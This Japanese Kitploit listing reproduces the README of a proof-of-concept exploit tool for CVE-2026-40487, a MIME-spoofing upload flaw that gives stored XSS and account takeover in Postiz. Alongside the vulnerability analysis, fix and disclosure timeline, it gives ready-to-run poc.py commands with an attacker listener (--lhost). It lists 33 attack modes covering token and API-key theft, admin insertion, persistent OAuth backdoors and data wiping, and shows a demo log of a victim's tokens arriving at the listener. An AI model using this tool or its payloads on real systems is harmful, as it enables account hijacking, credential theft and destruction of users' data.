Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40487 — CVE-2026-40487の概念実証エクスプロイト。MIMEスプーフィングによる任意のファイルアップロードを実証し、Postizにおける保存型XSSとアカウント乗っ取りにつながることを示します。データ窃取、権限昇格、永続化のための複数の攻撃モードを含みます。 | Kitploit
ツール/GitHubGitHub/astaruf/cve-2026-40487
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubastaruf/cve-2026-40487

CVE-2026-40487

CVE-2026-40487の概念実証エクスプロイト。MIMEスプーフィングによる任意のファイルアップロードを実証し、Postizにおける保存型XSSとアカウント乗っ取りにつながることを示します。データ窃取、権限昇格、永続化のための複数の攻撃モードを含みます。

リポジトリを見る
34ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-40487 - Postiz <= 2.21.5 - MIMEタイプ偽装による任意ファイルアップロードからStored XSS、アカウント乗っ取りへ

発見・報告者: Astaruf

完全な解説記事: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSAエントリ: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVEレコード: https://www.cve.org/CVERecord?id=CVE-2026-40487


概要

Postizは、28以上のプラットフォーム連携(Instagram、X、LinkedIn、Facebook、TikTokなど)を備えたオープンソースのソーシャルメディア管理ツールであり、インターネット上に公開された600以上のインスタンスで使用されています。

低権限の攻撃者は、偽装したContent-Type: image/pngヘッダーを持つ悪意のあるSVG(またはHTML)ファイルをアップロードできます。サーバーは実際のコンテンツを検査せずにファイルを受け入れ、元の拡張子を保持し、nginxはその拡張子から導出されたContent-Type(image/svg+xml)で配信します。被害者がURLを開くと、埋め込まれたJavaScriptがアプリケーションのオリジンで実行され、攻撃者はアカウント乗っ取りに相当する完全なセッション乗っ取り能力を得ることができます。

攻撃チェーン:

root@kitploit:~
攻撃者がContent-Type: image/pngの.svgをアップロード
  -> サーバーはContent-Typeヘッダーのみを検証(CWE-345)
    -> ファイルは元の.svg拡張子でディスクに保存される(CWE-434)
      -> nginxがimage/svg+xmlとして配信
        -> ブラウザが埋め込まれたJavaScriptを実行(CWE-79)
          -> 同一オリジン: 被害者のセッションへの完全なアクセス

影響

XSSペイロードはアプリケーションと同一オリジンで実行されます。認証CookieはHttpOnlyですが、fetch()とcredentials: "include"を組み合わせることで自動的に添付されます。攻撃者は以下が可能です:

  • 被害者のプロフィール、APIキー、接続済みの全ソーシャルアカウントのOAuthトークンを窃取
  • 全プラットフォームにわたる予約投稿の読み取り、作成、変更、削除
  • 被害者の組織に攻撃者を管理者として招待
  • 永続的なOAuthバックドアを作成(期限切れにならず、パスワード変更後も有効なpos_*トークン)
  • 通知の無効化、設定の消去、強制ログアウト
  • 被害者として任意の認証済みAPI呼び出しを実行

脆弱性の詳細

3つのコンポーネントが独立して失敗し、攻撃チェーンを構成します:

1. MIMEタイプ検証がクライアント入力を信頼(CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetypeはマルチパートリクエストのContent-Typeヘッダーから取得され、攻撃者が制御できます。マジックバイト検査はなく、file-typeのようなライブラリも使用されていません。

2. 元の拡張子がディスク上に保持される(CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname)はクライアントが指定したファイル名から拡張子を抽出します。宣言されたMIMEタイプと拡張子の整合性チェックはありません。サーバーはレスポンスで完全な公開URLも返すため、攻撃者は被害者に送信するリンクを取得できます。

3. nginxが拡張子から導出したContent-Typeで配信

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginxは.svgをimage/svg+xmlに、.htmlをtext/htmlにマッピングします。Content-Security-Policy、X-Content-Type-Options: nosniff、Content-Disposition: attachmentはありません。

概念実証

要件

root@kitploit:~
Python 3.8+
pip install requests

クイックスタート

root@kitploit:~
# 1. ターゲットが脆弱かどうかを確認
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. 被害者からすべてを窃取
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. 永続的なバックドアを作成
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. 認証情報なしでトークンを再利用
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

攻撃フロー

root@kitploit:~
攻撃者                    サーバーPostiz              被害者
    |                              |                        |
    |-- 1. ログイン/登録 -------->|                        |
    |-- 2. 悪意のあるSVGをアップロード --->|                        |
    |<---- ファイルのURL -----------|                        |
    |-- 3. URLを被害者に送信 --------------------------->  |
    |                              |<--- 4. URLを開く ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JSが実行され、データを窃取 -----------|

全攻撃モード(33)

窃取(19モード)- 被害者データの窃取
モード説明
dump-self被害者のプロフィール、組織情報、ティア、APIキー
dump-personal表示名、自己紹介、プロフィール画像
dump-integrations接続済みのソーシャルメディア連携とトークン
dump-posts予約投稿と下書き投稿(過去365日分)
dump-teamチームメンバー、役割、メールアドレス
dump-mediaメディアライブラリの一覧
dump-notifications通知履歴
dump-signatures投稿署名
dump-webhooks設定済みのWebhookとそのURL
dump-oauth-appOAuthアプリの認証情報(clientId、secret)
dump-copilotAIコパイロットの会話スレッド
dump-billing請求およびサブスクリプション情報
dump-settingsショートリンクと通知設定
dump-third-partyサードパーティ連携の設定
dump-autopost自動投稿ルール
dump-setsコンテンツセット
dump-tags投稿タグ
dump-customers顧客リスト
full-dump上記すべてを単一のペイロードで実行
権限昇格(3モード)
モード説明
add-admin被害者の組織に攻撃者をADMINとして招待(--attacker-email)
rotate-key組織のAPIキーをローテーションして窃取
rotate-oauthOAuthアプリのシークレットをローテーションして窃取
妨害(9モード)- 破壊的な操作
モード説明
kill-notificationsすべてのメール通知を無効化
edit-profile被害者の名前と自己紹介を変更(--edit-name、--edit-bio)
wipe-signaturesすべての投稿署名を削除
wipe-webhooksすべてのWebhookを削除
wipe-tagsすべてのタグを削除
wipe-setsすべてのコンテンツセットを削除
wipe-autopostすべての自動投稿ルールを削除
logout-victim被害者を強制ログアウト
delete-oauth-app被害者のOAuthアプリケーションを削除
バックドア(2モード)- 永続的なアクセス
モード説明
create-oauth-appOAuthアプリを作成し、自動承認し、永続的なpos_*トークンを窃取(--oauth-redirect)
steal-cookiedocument.cookieを介して認証JWTを窃取(NOT_SECURED=trueの場合)
汎用(2モード)- 高度な操作
モード説明
api-call任意の認証済みAPI呼び出し(--api-method、--api-path、--api-body)
custom任意のJavaScriptを実行(--custom-js)

追加オプション

オプション説明
--checkターゲットが脆弱かどうかを調査(攻撃は実行しない)
--registerログイン前に新しいアカウントを登録
-t / --token認証情報の代わりにAPIキーまたはpos_*トークンを使用
--format htmlSVGの代わりにHTMLペイロードを使用
--proxyHTTP/SOCKSプロキシ経由でトラフィックをルーティング(例: Burp Suite)
-o / --output取得データをJSONファイルに保存

デモ

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — MIME偽装ファイルアップロードによるStored XSS

[*] [email protected] としてログイン中 ...
[+] 認証成功。
[*] ペイロード生成中: すべてを単一のペイロードで窃取
[*] Content-Type: image/png の悪意のある.svgをアップロード中 ...
[+] アップロード成功。
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888 で窃取リスナーを起動中 ...

=================================================================
  このURLを被害者に送信してください:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] 被害者がリンクを開くのを待機中 ...

[+] 2026-04-15 03:45:41 にデータを受信
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] 2026-04-15 03:45:41 にデータを受信
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] 2026-04-15 03:45:42 にデータを受信
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

修正

バージョン2.21.6で3つの変更が導入されました:

  1. マジックバイト検証 - file-typeライブラリを使用して実際のファイルコンテンツを検査
  2. 明示的なMIMEタイプ許可リスト(image/*の包括的な許可は廃止)
  3. 検出されたコンテンツタイプに基づく拡張子の上書き

タイムライン

日付イベント
2026-04-10ソースコードレビュー中に脆弱性を発見
2026-04-10GitHub Security Advisory(GHSA)を通じて報告
2026-04-10開発者が確認し、詳細説明を要求
2026-04-10詳細な攻撃シナリオとShodanデータを提供
2026-04-11証拠とともにCVSS異議申し立てを提出
2026-04-13v2.21.6で修正をリリース
2026-04-14CVE-2026-40487が割り当てられる
2026-04-15公開開示

参考情報

  • Astarufによる完全な解説記事
  • CVE-2026-40487 - GHSAセキュリティアドバイザリ
  • CVE-2026-40487 - NVDエントリ
  • Postiz - 公式リポジトリ
  • Postiz v2.21.6 - 修正リリース
  • CWE-345: データの信頼性の検証不足
  • CWE-434: 危険なタイプのファイルの無制限アップロード
  • CWE-79: 保存型クロスサイトスクリプティング
  • OWASP - 無制限ファイルアップロード

免責事項

このツールは認可されたセキュリティテストおよび教育目的のみで提供されています。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。

ライセンス

MIT

ツールをダウンロード